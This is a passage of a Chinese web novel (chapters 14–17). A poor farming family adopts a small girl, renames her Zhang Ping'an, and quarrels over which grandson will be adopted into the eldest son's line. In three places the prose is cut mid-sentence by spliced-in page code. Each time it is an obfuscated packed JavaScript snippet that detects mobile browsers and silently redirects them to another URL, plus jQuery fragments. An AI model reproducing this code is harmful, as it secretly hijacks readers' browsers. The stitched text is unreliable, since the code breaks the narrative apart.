七月这一声嚎,浑身力气大概全用到嗓子上了,刺得他脑仁疼。 “小妹妹不走,别哭了,你老子养了!” 哭声戛然而止,七月慢慢睁开眼看着她爹,那脸上哪有一滴眼泪。 “真的?” “真的。”张有喜说,“咱家养了,往后她就是你亲小妹,谁也不给。行了吧?” 七月转着眼睛看看不知什么时候出现在门口的宋氏,看看靠墙站的大郎,最后放在了张春山身上。 “爷爷,真的吗?” 张春山:“……” “真的。”张春山道。 “噢!”七月这回放心了,跳起来拉着安安,“安安你听见了吗,爷爷答应了。” 安安到底人小,其实还没太反应过来,哥哥姐姐们却已经笑开了嘴,大郎跑过来拎着她后衣领子:“去,安安,给爷爷磕头。” 安安小脸茫然了一下,因为父母闹离婚,过年她就没正经给长辈拜过年,没磕过头,小脑袋里压根不懂啊。 但是大郎行动力比嘴快,一边说,一边抓着她两边腋下把她拎过去,直接摁在张春山面前磕了一个头:“叫爷爷!” “爷爷。”安安叫了一声,扭头去看大郎,她不是一直都叫爷爷吗? “诶,”张春山答应着,哭笑不得地挥手,“行啦行啦,都出去吧,大人说话呢。” 快乐的哥哥姐姐们抱着小妹妹就跑,连张小鼠和张金哥、张银哥也莫名兴奋,跟着一起跑了。 14.第 14 章 倒霉孩子们一走,张春山赶紧给里正赔礼道歉。 里正悻悻道:“你说这事弄的,你家倒是早说啊,如今我跟人家话都说了,白白叫我喇嘴。” 张春山也觉得喇嘴,连连叉手行礼赔笑道,“恕罪恕罪,便是一只猫狗养得久了也熟了,这孩子又招人疼,孩子们舍不得也是有的。怪我怪我,我这还没顾上寻你说呢,倒叫你为难了,都是小老儿的错。” “你家这是当真要留下养了?”里正爬起来往外走,嘴里抱怨道,“那我去跟人家回话了,哎,我何时办过这样的事,真是服了你家。” 张春山并三个儿子赶紧好话送出去,一直送到门口回来。 张有喜刚才颇有气概,其实自己也觉得心虚,倒不是后悔,但他身为人子这般越过了他爹擅自做主就是不对。于是一回屋,张有喜便自觉地跪下了。 “爹,儿子错了,儿子不该自作主张,爹打我吧……” “行了行了!”张春山没好气地呵斥道,“少在这装相,刚才怎不知道错了?你既错了,明日我就去官府报你个目无尊长,叫县太爷打你板子!” 张有喜自知理亏,缩着脖子讪笑道:“爹一向疼我,哪能舍得啊!” “哼!”张春山一脸嫌弃地骂道,“你个夯货,当着人呢,可真会给你爹留脸!” “老三,你当真要留下养啊?”余氏叹气道,“你说你到底怎想的,自家孩子还不够你养的,你这负担得有多重啊!” “娘,你和爹养了我们兄弟姐妹六个也都养大了。”张有喜道,“四个五个一样养,一人省一口给她也就够了。爹娘想想,你们膝下若没有这一堆儿孙,该多无趣。” “那你也该先跟你爹商量,当着里正叫你爹难为。”余氏埋怨道。 “糊涂东西!”张春山瞪瞪眼睛,转向余氏道,“你明日给我舂一碗新米,我去里正家走动。” “还要给他送礼?”张有喜一听叫道,“爹,用不着吧,也不至于就得罪了他,再说咱家哪年节里没请他吃酒?” 一碗新米,叫他怎么舍得,够孩子煮两顿粥了呢。 “你懂什么!”张春山斥道,“你既正经收养了,你要去官府申官附籍,不是还得找他?” “……”张有喜摸摸鼻子不吭声了。 “爹,这事……就这样了?”张有福在旁边迟疑问道。 “不然还能怎样?”张春山没好气地说道,“明日把他送去官府,打上二十板子?” 张有福一噎,也不敢吭声了。 张有田一看两个弟弟都吃了排落,识趣地赶紧告退,张有喜、张有福趁机也跟着告退溜了。男人们一散,外头装作忙碌却一点没耽误旁听的妯娌们也赶紧回屋。 等三个儿子一走,余氏不无担忧地跟张春山道:“他爹,这事……能行吗,老大老二那边先不说,老三家里,原就是他人口最多,眼看孩子都大了,两份聘礼、两份嫁妆,如今再添个女儿,这家里本就穷得叮当响……” “那怎么办,你现在去把那孩子赶出去?”张春山叹道,“一人头上一个露水珠,老天饿不死瞎家雀,各人有各人的福分。老三两口子既然认下了,咱们也不能强拦着吧。” “再说……大郎若是过继给老大家,老三两人一时间难免心里不得劲,跟前再养个安安也好,留就留下吧。”张春山道。 张有喜回到西厢房,宋氏跟他前后脚也进了屋。小小一间屋里挤满了孩子,自家五个加上张金哥、张银哥和张小鼠,都在呢,好不热闹。 “安安,再说一遍,叫我什么?” “二姐!” “对,记住了。”七月得意洋洋,“以后我是咱家老四,你是老五。嘿嘿嘿,我当二姐了,终于不是我最小了。” “把你嘚瑟的,”张银哥笑道,“最小怎么你了,干活你都比旁人少干。”他就是他家老小。 最小也不是什么好事,要被哥哥们拎来拎去,被姐姐们使唤来使唤去,七月撇着嘴得意,嘿嘿,以后她也是当姐的人了。 宋氏瞥一眼张有喜,两人会心一笑,原来一堆孩子在教安安改口啊。 除了他们夫妻,安安在这家里的称呼完全是随着七月来的,所以要改的其实也就…… 果然,张有喜一进屋,孩子们瞧见他都一脸激动兴奋,眼含期待地撺掇安安:“安安安安,叫什么,叫什么快说?” 安安看看张有喜:“爹!” “诶!”张有喜嘴巴一下子咧到了两耳朵。 看到宋氏过来,安安咧开小嘴笑了下,才喊了一声:“娘~~” 那声音奶声奶气九曲十八弯,掺了蜜糖似的,宋氏顿时也乐了,拍拍她脑袋赶紧答应着:“诶!” 对于安安来说,这一声爹娘叫得似乎没有半点不自然,她生活中原本并没有这样的称呼,不难接受,反正哥哥姐姐们都这样叫。 耿氏听着西厢房里的欢声笑语,不禁莫名羡慕。她膝下孤单,前后几胎都没留住,就只张小鼠这么一个女儿,张有田身为长房长子,在家中说话都自觉气弱,夫妻两个必然有压力。 子嗣也是缘分,张有田不曾因此怪罪妻子,耿氏反而心生愧疚。耿氏本就是个怯懦性子,如此在家中便越发寡言少语了,根本撑不起长嫂的风范。 什么时候,自己家里也能这般热闹,耿氏怅然叹了口气。 “过继的事……”耿氏问张有田,“你跟爹说了吗?如今咱们都年过四十了,怕也不指望再能开怀……” 正房五间,大房住在两间东屋,从门里正好能斜对着西厢房。张有田目光落在西厢房门外泄出的那一团温暖灯光,说道:“你放心,这事爹心里有数。” 东厢房里,吴氏和张有田也在小声说话。吴氏道:“爹就这么答应了?你好歹也在跟前,你也不吭一声。” “我说什么?”张有福道,“爹娘都做主了。” “不是我说,爹娘就是偏心。”吴氏埋怨道,“刚才明明你说的是孩子,爹非往老三身上扯,哪里给你说话的地方。” 收养安安这事,张有福心里是不赞成的,自家亲生的还顾不过来呢,可在他看来这事确实轮不到他做主,刚才他爹的态度也很明显了。 “有你什么事!”张有福低声斥道,“人家老三愿意,又没要你养。” “那能是他一房的事情吗,家里穷成这样,他三房做好人,还要再揽了累赘。咱大姐儿眼看就该出门子了,你拿什么给她当嫁妆?几年前小姑出嫁还有一副银镯子呢,照这样下去,等大姐儿出嫁,铜的你都给不起。还有金哥银哥,他两个连一片瓦都没有,你叫他们去哪里娶妻成家?你看这三间厢房挤了五口人,以后分家还不是咱们的。” “不都这样吗,”张有福道,“老三家三间厢房挤了六口人呢,而今七口了。” “那能一样吗!”吴氏反驳,“他若是大的过继给大房,自家剩一个儿子,好歹还能有地方给他成婚。” 女儿又不用给她预备婚房。 吴氏越说越牢骚,抱怨道,“不是我说,爹娘本来就够偏心了,老话说‘小儿子、大孙子,老爷爷的命根子’,不算老四,他一家都占全了。大家大口过日子,原本就数他家孩子多,这不是叫旁人给他出力拉磨吗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011881|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老四张友良原本是张春山的幼子,过继给了二叔张春岭,这么一来,张有喜就成了这家小儿子。而大郎又是铁板钉钉的大孙子。 “行了行了!”张有福呵斥道,“一家子骨肉的亲兄弟,你这叫什么话,那大哥跟前只有一个小鼠,他给谁拉磨?” 吴氏被他一吼,索性抽抽搭搭地抹起了眼泪。 张有福知道她那心思。大哥无子,势必要过继一个侄子,而爹娘百年之后兄弟分家,按规矩家产大部分都是长子的。家贫,也没什么家产可分,就只这住了几辈人的祖屋,按照惯例都是归长房长子。 越这样,这祖屋便越显得珍贵。并且这祖屋的地基正经也是张家的,如今再要建房,连宅地都没有。农人建房要么占无主荒地,要么用自家田地,而附近连山头都是大户的私产,他们作为佃农,自家一寸地方都没有。 或者还可以租赁,像二叔张春岭当初分家,便只能在村后赁了一小块宅地自己吃苦受累地建房,每年还要给人家交宅地的租钱。那是多少年前,如今村后连能赁的宅地都不易得了。 真正是贫者无立锥之地。 如今谁过继给大房,这祖屋肯定就归谁了,旁人就只能露水地里自己辛苦去。 张有福知道吴氏一心为了自家儿女打算,盘算着把金哥过继给大房,可是按照惯例,这过继最合适的人选就应该是大郎。长幼有序,大郎原本就是张家孙辈之中的老大,过继做长房长孙才是正理。 “我为了谁呀,我还不是为了咱家三个孩子发愁,咱们二房夹在中间,原本就不受重视,我这是什么苦命……” “哭哭哭!”张有福烦躁骂道,“你当初嫁的就是老二,你不知道?有本事你离了我另寻个嫡长的男人去!” 这话骂得就难听了,于是吴氏哭得越发伤心,抽噎的声音也越来越大。 一个院里住着,大晚上的吴氏这么一哭,一大家子都得听着。西厢房张有喜那边欢喜热闹了一晚上,好容易安顿一堆猴孩子们睡下,东厢房那边的哭声就传了出来,男人的叱骂声,女人的呜咽声,还有三个孩子隔着门的央求劝解声…… 黑暗中张有喜翻个身:“二哥二嫂怎么吵起来了?” “谁知道呢,”宋氏也翻了个身道,“别管了,大晚上人家两口子关着门吵嘴,你个小叔子还能去劝怎么的。” 直到余氏在院里扬声骂道:“大半夜的吵吵什么,你奶奶还养着病呢,嚎得家宅不宁。老二你个孬种,好端端的又怎么惹你娘子了,你老子娘还没死呢!” 哭声终于歇了下去。 宋氏在这边听得心里一笑,心说她们这位婆母好性子,叫她们妯娌没怎么吃过婆婆的苦头,可婆婆好歹也当了几十年婆婆。 哥嫂吵个架而已,这种小插曲完全没放在张有喜心上,早晨起来头一件事就是跑去隔壁屋里,拿手指戳戳被窝里两个小女儿的脸,笑眯眯的乐呵。 “爹。”七月睁眼醒了,看着张有喜打哈欠。 张有喜赶紧做了个噤声的手势,结果一低头安安也睁开了眼,一脸迷糊地揉眼睛,软绵绵也打了个哈欠。 “都醒了?”张有喜心里懊恼了一下,他怎么手欠都给弄醒了,直起腰笑着问,“安安,叫我什么?” “爹。” “诶,”张有喜放心了,笑道,“醒了就起来吧。安安,起来梳头洗脸,等会儿带你去给太奶奶磕头,给爷爷奶奶磕头,还记得怎么磕头吗?” 安安困惑了一下,又要磕头,昨晚不是磕过了吗?不过睡眼朦胧的小人儿下意识听吩咐,迷迷糊糊爬起来在被窝里坐着。 15.第 15 章 天冷老人畏寒,太奶奶生病后就几乎不出屋子,只有遇上天气好,赶晌午才被扶出来晒晒太阳。 张有喜和宋氏一早带着孩子们去看太奶奶,张春山和余氏都在,耿氏也在。太奶奶躺在床上,张有喜也是个手比嘴快的,还没开口,直接就把安安拎过来摁倒磕头。 “奶奶,以后安安是咱家孩子了,您又多了个重孙女。”张有喜笑道。 “喔,好,好。”太奶奶从被窝里伸出手来,捏着安安的小肉手笑得一脸菊花褶子,笑眯眯道,“稻花儿啊,稻花儿真乖。” “娘,这不是稻花,这是您重孙女安安。”张春山笑道。 “不是稻花儿?”太奶奶眯眼看着安安,仔细端详半晌,“哎呦,麦花儿都长这么大了?” 一屋子哄笑,张稻花、张麦花是张有喜的两个姐妹,孩子们的姑姑。 “你奶奶怕是想孙女了。”张春山吩咐张有喜,“等这几日种完麦子,家里都能得闲了,打发大郎叫她们两个回来一趟,回来给奶奶看看。” 回到堂屋,先请张春山和余氏上首正经坐了,张有喜又叫安安磕头、叫爷爷奶奶。 张春山叫孩子起,指着张有喜和宋氏道:“给你爹娘也得磕一个。” 安安其实也搞不懂今天为什么老是磕头,不过小人儿一向听话,这次没人拎她了,安安自己跪倒磕了一个,然后被宋氏拉起来,给她拍干净裤子上的灰。 宋氏看着小人儿笑,往后这就是他们家的孩子了。 接下来又该开始一天的农活了,张有田问:“爹,今日耙地?” “耙地。” “那吃了饭我去田庄借个驴?” 张春山点头,反正要给这一年的牛米。耕地需用牛,耙地种麦驴就行了,驴子比牛还快。 张有福在旁边抢着说道:“我去我去,大哥,我去就行了,我连靶子一起扛来,你只管安排旁的事。” 张有田对他的勤快有些无奈,说道:“我跟你一起去吧,耧车也得借,耧车恐怕还得排队。” 张有福昨夜被余氏一句“孬种”骂的,今早到了爹娘跟前便格外卖乖,但是吴氏一早给他打洗脸水、递手巾他都没有好脸,便是装他也得装几天给吴氏冷落。余氏这敲打儿媳妇的功夫也是到家了。 张春山对这个二儿子却也没给好脸,爱答不理的。老头儿多明白的人,张有福能由着吴氏大半夜吱歪地哭,哭给谁听呢!分明他自己就不是个东西。 这养儿子跟种树一样,该削得削。 “先不着急。”张春山道,“我这有两个事要说。” 三个儿子都站那儿等他开口,两个妯娌都在外头忙,宋氏便悄默声地转身出去了。 张春山道:“一个是安安,我琢磨安安这名字有点拗口,不像咱庄户人家的名字似的,既然是咱家孩子了,是不是也得正经改个名儿?” “有道理。”张有喜点头,“爹给取一个。” “就叫平安吧。”张春山道,“张平安。” “平安好,张平安。”张有喜推了下安安,“安安听见没,你以后大名就叫张平安。” 余氏对这个名字其实有点不满意,素来收养旁人家孩子的,都要改个名儿,好叫她忘记原来的名姓,忘记原来的爹娘,谁辛辛苦苦收养孩子也不想她心里念着亲生爹娘,养得跟自己不亲。 这孩子,余氏看着安安心说,都已经三岁了,只怕都记事了,要改就该改个彻底的,张平安,改得跟没改差不多,老头子早也不跟她商量。 余氏嘱咐三个儿子:“回去跟孩子们都交代一声,以后喊小妹妹名字都喊平安,不能再喊安安。” “另一个事,”张春山顿了一下,说道,“你们也都知道,你大哥膝下,如今还没个男丁,我寻思这事也该做打算了。” 他一提,张有田便低头不语,刻意不去看两个弟弟。 “理所应该,爹娘做主就好。”张有喜道。 “对,爹娘做主就好。”张有福道。 “嗯,”张春山缓了缓说道,“却也没那么急,等种完麦子,我再跟你太奶奶、你娘商量此事。” 说的好像太奶奶和娘能跟你商量似的,张有喜偷偷腹诽。太奶奶就罢了,糊涂到不认得人了,他娘还不是什么都听他爹的。 “行了,各自去忙吧。”张春山挥手道,“今日先把豆茬那块地耙了,把麦子种下去,还得帮你二叔家种麦,他家人手不够。” ………… 于是从这一天起,一家人都改叫平安的新名字,哥哥姐姐们喊的时候,还要嘻嘻哈哈地往她脑袋上撸一把,捏她的小丫角玩儿,只是七月有时嘴一秃噜还喊安安。 平安磕了一早晨的头,吃过早饭便被带去下田。耙地种麦子的活其实小孩也帮不上忙,带下田主要是为了方便照看,不然大人下田不在家,小孩子关在家里造反。 宋氏给了个小篮,打发七月带着平安挖荠菜,给了七月一个小镢头,却给了平安一个小锅铲。 深秋田野一片枯黄,平安还认不出荠菜,瞧见青绿的野草就往篮子里挖,家伙什又不趁手,拿个小锅铲吭哧吭哧挖半天,七月一看:“这个不是荠菜,这是雀墩墩。” 再挖一棵,七月说:“这个也不是菜,这个我也不知道叫什么。” 平安鼓着包子脸失望,七月忙说:“这个都有用,都能给猪吃。你等着,我再去拿个小篮,你挖的就都放一起,回头我再把荠菜挑出来。” 两人跑回去拿篮子,把不认识的那个草给宋氏看,宋氏说:“这是剪子股,也能吃的。” “也能吃?” 七月惊讶,宋氏笑道:“能吃,开水烫一下,撒点盐一拌就能吃了,灾荒年当好东西呢。” 七月说平安挖的,宋氏便夸了一句,“咱家平安真能干!” 这下平安干劲更足了,赶紧跑回去再挖。 两人边挖边玩,不觉就跑到了别人家的荞麦田里。这时节荞麦红茎绿叶,摇曳生姿,一嘟噜一嘟噜的粉白小花格外好看。平安伸手就想掐一串,七月赶紧拦住了,能结粮食呢。 然后腊月便跑过来把两人撵回去了,不能离开大人的眼。毕竟七月也只有八岁,看孩子不一定靠谱。 晚上果然吃到了凉拌荠菜和剪子股,剪子股有一点苦,而深秋的荠菜味道特别鲜,七月尝了一口赞叹:“真鲜啊,好吃。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017795|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你们自己挖的菜当然好吃。”宋氏笑着鼓励。 平安赶紧夹起一筷子送到嘴里,然后,咳咳——咳了一下呛着了,旁边的腊月赶紧给她拍背。 这荠菜就只简单放了点盐,刮嗓子。 耿氏怜爱地摸摸平安的头,笑道:“忘了咱们平安嗓子眼儿浅,等着啊,我去烫一点给你吃。” 宋氏赶紧抢着去了,把一小碟荠菜烫了再给平安,烫过的荠菜软和一些,不过还是有点刮嗓子,嚼不动,于是这顿饭平安又吃成了最慢的。 饭后回屋,张有喜才顾上跟宋氏说起早晨他爹提的事情,还特意打发二郎领两个妹妹去院里玩,把大郎留了下来。 其实张有喜心里清楚得很,宋氏根本就不愿意让儿子过继。张有喜自己也不愿意,可长兄无嗣,这便是整个家族的责任,于情于理他都不好直接拒绝。 不过当着大郎的面,夫妻两个这话不能说。 张有喜看着大郎说道:“今日你爷爷既然提了,我也得跟你说道一下。过继的话,你便是张家正经的长房长孙,家产都该是你的,家产是一回事,这长孙的身份也很重要,便是将来你说亲娶妻人家也高看一眼。” “我懂。”大郎道,“爹,我又不是小孩子了,你莫跟我说这些,咱家有什么家产好承继的,没的叫人笑话,反正不在我眼里。过继了我就得正经管大伯父、大伯娘叫爹叫娘,改口管你和娘叫三叔、三婶……你跟娘能行?” 宋氏和张有喜:“……” 这……确实难以接受。 “口气不小,还这点家产不在你眼里。”张有喜轻嗤道,“这点家产你太爷、你爷辛辛苦苦挣了一辈子。” 大郎:“反正我不愿意。你若是强要我去,那还问我做什么。” “……”张有喜手指点点他,骂了一句,“兔崽子!好好说话。” “你可想好了,你这会儿觉不到,你只管说大话,过继这祖屋便是你的,而且你大伯家只有小鼠一个妹妹,都十四了,将来好生备一份嫁妆就成了;不过继,你如今可四个弟弟妹妹,一高二低可都还小呢,长兄如父,将来都是你的责任。” “还有这身份,若是过继了旁人,就比如金哥吧,原本比你小,过继后身份可就越过你去了,不光家产归他,你还要处处以他为长,便是祭祖上坟你都要排在他后边,这将来可没有后悔药吃。” 张大郎:“我不吃后悔药。莫欺少年穷,我不信我自己就一辈子的穷命。” 果然还是个熊孩子,不知世事艰辛啊,他当年也是这么想的。张有喜道:“你爷、你大伯可都是想要你。” “那我也不愿意! 大郎嗤声道,“爹,你别说了行吗,我还就不信了,你当真能舍得我。” 张有喜:“……” 宋氏这下心里舒畅了,扑哧一笑说道:“这回可算如了你二伯娘的意,整日在你大伯娘跟前夸金哥,我瞧着她应该是愿意的。” “金哥也不愿意。”大郎说道,“你们真当我们是小孩呢,不是大伯父不好,我们不过继也能好好孝敬大伯父,可这事搁谁能愿意呀。” 好好当了这么多年儿子,就让爹娘给人了? 16.第 16 章 “就没有旁人了吗?二郎……”大郎提起自家弟弟,立刻改口道,“二郎不行,二郎那死小孩从小心眼子就多,你把他给出去,他不得恼死。银哥呢,还有四叔家也两个儿子啊,四婶这一胎没准又是个儿子。” “太小了,你大伯肯定想要个大的。”张有喜道,“你大伯、大伯娘也四十出头了,要个小的他们会担心自己年纪大了嗣子还小,自己帮扶不上还拖累,再说他们膝下就只有一个小鼠,养得眼珠子似的,肯定也更想给她过继个哥哥。” “并且如今咱们家已经五个孩子了,你爷爷正好觉得你最合适,你爷爷心里你本来就该是长孙,把你给出去咱家还四个呢。”宋氏道。 这不行那不行,合着就要他?大郎两手一摊:“反正我不愿意。” “成精了你,哪轮得到你愿不愿意。”张有喜道,“你信不信,只要你爷爷做主、你大伯和我点了头,明日你就能经官除附,变成你大伯的儿子。” 过继嗣子也是要报经官府的,与生父母户籍脱离,名籍转移,正经转到嗣父母家去。 不过眼下这话还早,张有喜眼下要办的却是平安的附籍之事。 隔日晚间张春山便悄悄拿了一碗白米去里正家走动。礼不重,却十分稀罕,要知道沂州水田统共那么多,水田稀缺,且都是在各个田庄名下,稻米被田庄掌控,寻常卖不到当地市面上的,即便里正也一样吃不到沂川香米。 若不是梁庄出事没人管,只怕当地也没几人吃过。 里正娘子欢喜地收了米,里正还特意客气了一下,便答应等这几日麦子种完,便带他们去官府办理附籍手续。 种完冬小麦,秋收大头落地,剩下除了一些收尾的零碎活,便只等着收最后一茬荞麦了。 男人们忙着剁草、翻耕、修补房屋,把粮食储存归仓,妇人们则忙于准备冬衣,尤其到了晚间,家家户户响起咚咚不绝的捣衣声。 贫家能穿的都是粗糙的葛布麻布,这布刚织好时都能立起来,需要反复捣上许多遍,再好好洗上几水,才好让布料软和了上身。 秋储冬藏,家家忙着拾掇准备过冬。这秋储做不好,冬日就别想好过,三九严寒不是说着玩的,寒冬里哪年没有冻死过人。 所以秋收尽管结束,却家家忙碌依旧。腊月、张小鼠和村里的小娘子们结伴去采芦花,更小的孩子们也会去捡拾柴禾,二郎和张银哥又开始了两人搭伴放羊的日常,一路顺带捡柴禾、摘野果、挖猪草野菜。 就连平安也被七月使唤着捡鸡毛。这阵子家里的鸡换羽,很容易掉毛。鸡毛捡来能塞毛窝子,还能卖给小贩,总之一根不能浪费。不过捡鸡毛这活儿可要小心鸡屎。 若不是负责带平安,七月这样年纪的孩子都能背着筐子四处捡柴、扫落叶了。近处的山林都有主,也不能随意砍柴的,但是扫落叶却可以。 张大姐儿则忙于准备自己的嫁妆,整日关在屋里织布、做针线。 一见太阳好,余氏便赶紧吩咐三房儿媳晒芦花,大人孩子的冬衣里必得都换上新芦花。百姓人家哪里穿得起皮毛、丝绵,冬日苦寒,可就全靠这芦花了。 当然光芦花也不行,芦花散软撑不起来,芦花里头还要添上麻絮一起。会持家的主妇们,一年到头绩麻剩下的乱麻、碎麻都收着呢,细细地捣成麻絮,混到芦花里做冬衣。 农家绝无浪费,麻也要省着用,麻这东西伤田,夺地力,田庄轻易都不让种的。 有时官府还会给贫民发一种用来做冬衣被的树皮纸,倒也轻便耐穿,只不常有。 宋氏三妯娌把芦花铺在秫秸秆扎成的排子上,仔细挑去草屑摆开来晾晒。张有喜和张有福挑着两担稻草回来,把稻草捆子靠墙摆放。 “明日咱们就在这儿搭架子,”张有福指着堂屋前靠墙背风的地方,“这儿晒着太阳暖和,你跟我打,咱们多打几个稻草垫子,把去年那旧的都换了。” 铺床,做门帘子,都要用。 “二哥,明日你打吧,不行叫大哥跟你搭把手。”张有喜心说,当人弟弟就要被使唤,打个草垫还用得着两个壮劳力。 他理由都是现成的,随口道:“爹叫我趁着没上冻捞点河泥,预备明春下稻秧。” “那你去。”张有福一挥手,“大哥挖地窖子呢,我自己也能打,喊个小孩帮我递草就行了。” 张有喜便决定帮着张有福先把架子搭起来。打草垫要先搭个架子,架子中间横一根木棍做经纬,草垫便从架子上一寸寸地编下来。 宋氏三妯娌晒好了芦花,又去淘洗葛根。三人合力把一筐葛根洗刷干净,捣烂成泥,加水搅拌成浆,浆液倒入粗麻布的滤网袋,加水反复揉搓……如此重复,沉淀,便能提取出葛根粉来。 平安原本坐在屋檐下晒着太阳看七月纺线,这会儿见宋氏捣葛根,便好奇地跑前跑后跟着看。 “娘,这个是什么?” “葛根,你哥哥们挖的。” “弄葛根做什么?” “做葛根粉,补身子的,给你太奶奶吃。” 葛根粉柔软适口,味道甜滑,老人没有牙齿正好吃这个。宋氏两手水浆,抬头看见小孩亮晶晶的眼睛,便笑道:“你也能吃,等做好了,娘给你做一碗尝尝。” 平安一看,这么大一筐葛根才能做这么一点粉粉呀,懂事地摇摇头:“不要,留给太奶奶吃的,太奶奶生病了。” 耿氏揉了一下她的小脑袋笑道:“留给太奶奶吃,就给你尝一小碗,行不?” 平安心里美滋滋,用力点点头,笑眯眯笑弯了眼睛。 吴氏道:“这么小的孩子就能有这份孝心,长大了一准是个孝顺的,不亏三弟妹养她一回。”话题一拐就拐到了自家孩子身上,“小孩子三岁看大,我家金哥便是个有孝心的,从小就听话懂事……” 宋氏很有耐心地听着她说,相机还附和一两句:“那是,金哥打小就懂事省心,不像我家大郎,剁尾巴猴子似的,最是个操心玩意儿。” 耿氏抿笑听着,却不怎么插话。自从公公明确提了过继的事之后,两个妯娌的态度便越发明显,耿氏心里自然是有数的。可她也知道公公和丈夫想要的人选一直都是大郎…… 阳光下农家小院忙碌却又安然,一边干活,一边大人们闲聊着家常。眼下佃户们关心的首要大事便是今年的佃租,往年这个时候早该交租结算完了,今年至今还没开始。 “听说是那梁相公的官司还没有结案,官府不好定夺,便只能先搁置。”张有喜道。 “你却消息灵通。”张有福问,“那要到什么时候?” “我也就听田庄里官兵顺嘴一提。”张有喜摇头,“不知道什么时候,估计兴许要等到梁相公的那么一大串罪名都审完了,官家下旨定了罪才行。” “你说官府要是忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027654|194000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多好,干脆就不用交了。”张有福道,“你也是胆子大,往后莫要去跟那些官兵磕牙了,那些官兵可凶。” “你想什么好事儿呢。”张有喜自动忽略二哥后半句,睇着他笑道,“若是他们欠你的可能忘了,你欠了主家的,他死都不忘。” “啧,”张有福摇头表示赞同,问道,“你说那梁相公会不会死,你看他干了那么多坏事,官家会不会砍了他。” “那谁知道。” 他又不是官家,张有喜心说,他若是官家,一准砍了算了。 日落时分,妯娌三个收拾好芦花去做饭,家里四个小子一起回来了。大郎和张金哥从山上下来,一人背着一个大筐,路上遇到放羊的二郎和张银哥,二郎拽着羊,张银哥还背着一捆柴,兄弟四个便一起回来了。 院里沐浴着夕阳,七月拿个铁锹铲鸡屎,平安正张牙舞爪地追在一只鸡后面跑。 大郎背着筐子进来,经过时顺手撸了一把平安毛茸茸的小脑袋,问道:“小笨蛋,追鸡做什么?” “薅鸡毛,二姐说做鸡毛毽子。” “做鸡毛毽子要用公鸡尾巴的毛。”想起他们家就没有公鸡,夏日里鸡瘟,死的只剩下两只母鸡了,于是大郎告诉她:“等我帮你们找几根。” 二郎从她旁边经过,伸手往她嘴里塞了个东西。 哥哥姐姐们惯会投喂她,尤其哥哥们从山上回来,经常会带回来各种野果子,平安也不多问,非常信任地一口咬下去。 “啊——”平安咧嘴瞪着二郎,“酸……” “哈哈哈……”几个大的见她酸得眼睛鼻子往一块儿皱的样子乐不可支。 “二哥坏!”平安嘟着嘴抗议,赶紧把嘴里的东西吐出来,才发现是一个红彤彤的小果子。 “原来是山楂呀。”平安嘟着嘴道,“我说怎么这么酸呢。” “什么山楂?”七月伸头看了一眼说道,“这不是山红果吗。” 七月早就发现平安会有一些东西的叫法不一样,比如她把家雀儿叫“小麻雀”,把院里种的白菘叫“大白菜”。于是七月告诉她:“我们把这个叫山红果,山上有很多,很酸的。” “刚摘下来太酸了,放一阵子就不那么酸了,留着给你们当零嘴。”二郎笑道,指着她手里那颗,“扔了吧,扔给鸡吃。” 平安忙把那颗山红果扔给了鸡,好奇地跑去看大郎和张金哥背回来的筐子,扒着筐沿寻宝。 两筐上面都是粗大的葛根,拿走葛根,一筐下面是大半筐的山红果,另一筐里少一些,是一种黑色的小圆果子,平安好像没见过。 “这个是黑枣,”大郎告诉她,“现在也不能吃,现在有点涩,要放一放、晒晒才能吃。” 没吃过,还不能吃,于是平安对那黑不溜秋的枣子失去了兴趣,扒着另半筐山红果说:“好多呀,大哥,你真厉害!”平安给大哥比了个大拇哥,高兴地说,“大哥大哥,我们做糖葫芦吧。” 大郎:“什么糖葫芦?” 平安小脸蛋上困惑了一下,糖葫芦,不就是糖葫芦吗? “糖葫芦……就是糖葫芦呀。”平安想了想,认真说道,“大哥,做糖葫芦,可好吃了,我们有这么这么多的山楂,做糖葫芦,卖钱。” 这么点小屁孩也知道卖钱,大郎不禁笑道:“你还知道卖钱,这东西酸不拉几的,山上到处都是,哪有人买。” 17.第 17 章 没人会把三岁小孩的话当回事,大郎他们也是,毕竟谁也没见过那个什么糖葫芦,听都没听过。 小孩子么,小孩子惯会胡说八道。大郎和张金哥他们为此还纳闷过,为什么家里的弟弟妹妹全都会胡说八道,还会无端诬赖人。后来觉着大约是因为小孩子傻,比如七月,做个梦便以为是真的。 这话说出来,又被长辈们骂了,说你们小时候还不是一样傻。 山红果这东西,后山随处可见,刚摘下来时又酸又涩,没法吃的,放个七八日就变甜一点了,并且这东西经放,装入筐里用沙埋法窖藏,能放一个秋冬也不坏,还越放越粉甜。还有那个黑枣,山上很容易摘到,刚摘时涩得人拉不开舌头,也要耐心地放一放。 